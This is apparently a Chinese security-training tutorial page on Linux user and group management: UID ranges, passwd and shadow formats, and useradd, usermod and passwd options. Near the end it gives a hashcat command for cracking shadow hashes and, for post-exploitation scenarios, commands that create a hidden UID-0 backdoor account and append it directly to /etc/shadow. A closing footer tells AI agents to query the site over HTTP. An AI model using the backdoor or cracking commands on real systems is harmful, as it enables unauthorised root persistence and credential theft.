# 用户组在攻防场景中的应用

#### 用户管理命令 <a href="#toc1209110793" id="toc1209110793"></a>

Linux用户是通过UID来唯一标识

* 管理员：root，0
* 系统用户
  * 1-499    Centos6以前
  * 1-999    Centos7以后
* &#x20;普通用户：1-60000自动分配
* &#x20;登录用户
  * 500+    Centos6以前
  * 1000+    Centos7以后

**主要配置文件**

* etc/passwd        用户及其属性信息（名称、UID、主组ID）
* /etc/shadow        用户密码及其相关属性
* &#x20;/etc/group          组及其属性信息
* &#x20;/etc/gshadow       组密码以及其相关属性

**passwd文件格式**

> root:x:0:0:root:/root:/bin/bash

第1位，登录用户名

第2位，密码

第3位，用户身份编号

第4位，组编号

第5位，用户命名或注释

第6位，用户主目录

第7位，用户默认使用shell

**shadow文件格式**

{% code overflow="wrap" %}

```bash
root:$6$OjigWYXX$yR3dxfcjvvFPL83oEkKujo9BiH.2dbcsOt1ZlRsSa53qeNj0KUeIvgOPDS0c7APyfY66HgMEOLUlbY4gUxK4s1:19091:0:99999:7:::
```

{% endcode %}

第1位，用户名

第2位，sha512加密， $6$Sha512 $1$MD5

第3位，密码最近一次被更改的时间

第4位，密码再过几天可以被变更（0表示随时可被更改）

第5位，密码再过几天必须被变更

第6位，密码过期前几天系统提示用户

第7位，锁定用户

第8位，密码多少天后才会失效

{% code overflow="wrap" %}

```bash
vipw
vigr
密码类型：
https://hashcat.net/hashcat/
#MD5
$1$KyF5u4ME$VnwrCGapy0Xt3q8MFkPQ51

#SHA512
$6$P1tesqE/$5CBSliUzYEI1oEdxApOdE5dCXrhgtOmw13hN9Teps7c.dhn4hUe.FYUFUQ4QC25cSPaWKW8akjb1Y4he6KXPB1
hashcat --force -a 0 -m 1800 hash.txt ./password.txt
```

{% endcode %}

&#x20;

相关破解工具：

* john
* hashcat
* cmd5

&#x20;

**用户和组管理**

useradd命令

-u UID

-o 配合-u 选项，不检查UID的唯一性

-g GID 指明用户所属基本组，可为组名，也可以GID

-c "COMMENT" 用户的注释信息

-d HOME\_DIR 以指定的路径(不存在)为家目录

-s SHELL 指明用户的默认shell程序，可用列表在/etc/shells文件中 -G GROUP1\[,GROUP2,...] 为用户指明附加组，组须事先存在

-N 不创建私用组做主组，使用users组做主组

-r 创建系统用户 CentOS 6之前: ID<500，CentOS7 以后: ID<1000 -m 创建家目录，用于系统用户

-M 不创建家目录，用于非系统用户

-p 指定加密的密码

useradd命令默认设定是由/etc/default/useradd定义

```bash
/etc/default/useradd
GROUP=100
HOME=/home
INACTIVE=-1 #对应/etc/shadow文件第7列，即用户密码过期的宽限期
EXPIRE= #对应/etc/shadow文件第8列，即用户帐号的有效期
SHELL=/bin/bash
SKEL=/etc/skel
CREATE_MAIL_SPOOL=yes
```

**grub-crypt**

grub-crypt命令的作用是对口令进行加密

```bash
# Centos6使用grub-crypt
grub-crypt --sha-512
 
#创建用户
useradd -p 'SHA512' test
 
#指定查看某个文件shadow密码
getent shadow ccav
 
# Centos7使用python创建sha512
python -c 'import crypt,getpass;pw="ccav";print(crypt.crypt(pw))'
 
# Centos8使用openssl创建sha512
openssl  passwd  -6 ccav
```

**用户属性修改**

usermod命令

-u UID: 新UID

-g GID: 新主组

-G GROUP1\[,GROUP2,...\[,GROUPN]]]:新附加组，原来的附加组将会被覆盖;若保留原有，则要同时使 用-a选项

-s SHELL:新的默认SHELL

-c 'COMMENT':新的注释信息

-d HOME: 新家目录不会自动创建;若要创建新家目录并移动原家数据，同时使用-m选项

-l login\_name: 新的名字

-L: lock指定用户,在/etc/shadow 密码栏的增加 !

-U: unlock指定用户,将 /etc/shadow 密码栏的 ! 拿掉

-e YYYY-MM-DD: 指明用户账号过期日期

-f INACTIVE: 设定非活动期限，即宽限期

**删除用户**

userdel

-f, --force 强制

-r, --remove 删除用户家目录和邮箱

**切换用户**

su

切换有两种方式：

su root：非登录式切换，切换时不会读取目标用户的配置文件等

su - root：登录式切换，会读取目标用户的配置文件等

换个身份执行命令

```bash
su - root -c "whoami"
```

**设置密码**

passwd

-d:删除指定用户密码

-l:锁定指定用户

-u:解锁指定用户

-e:强制用户下次登录修改密码

-f:强制操作

-n mindays:指定最短使用期限

-x maxdays:最大使用期限

-w warndays:提前多少天开始警告

-i inactivedays:非活动期限

\--stdin:从标准输入接收用户密码,Ubuntu无此选项

非交互式设置密码:

{% code overflow="wrap" %}

```bash
场景：命令执行、反弹Shell、无交互式
/usr/sbin/useradd -u 0 -o -g root -G root -d /home/ccide ccide -p \$6\$RFindqMa\$hSOW1eOSD0FEPCoxUWBMd5KNYEuoz2b0MxuSSUBcv0PA0V1bee62f/1q0TGTnEhJpTghBdBBGNoOo1fRk1BWS/
 
echo "ccide:\$6\$RFindqMa\$hSOW1eOSD0FEPCoxUWBMd5KNYEuoz2b0MxuSSUBcv0PA0V1bee62f/1q0TGTnEhJpTghBdBBGNoOo1fRk1BWS/:18736:0:99999:7:::" >> /etc/shadow
 
echo "ccide:password" |chpasswd
 
#利用echo -e方式解释，无交互修改密码
echo -e '123456000\n123456000\n'|passwd test
 
echo '123456'|passwd --stdin ccav
```

{% endcode %}

&#x20;


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://lzcloudsecurity.gitbook.io/yun-an-quan-gong-fang-ru-men/di-er-zhang-linux-gong-fang-kuai-su-ru-men-shang/yong-hu-zu-zai-gong-fang-chang-jing-zhong-de-ying-yong.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
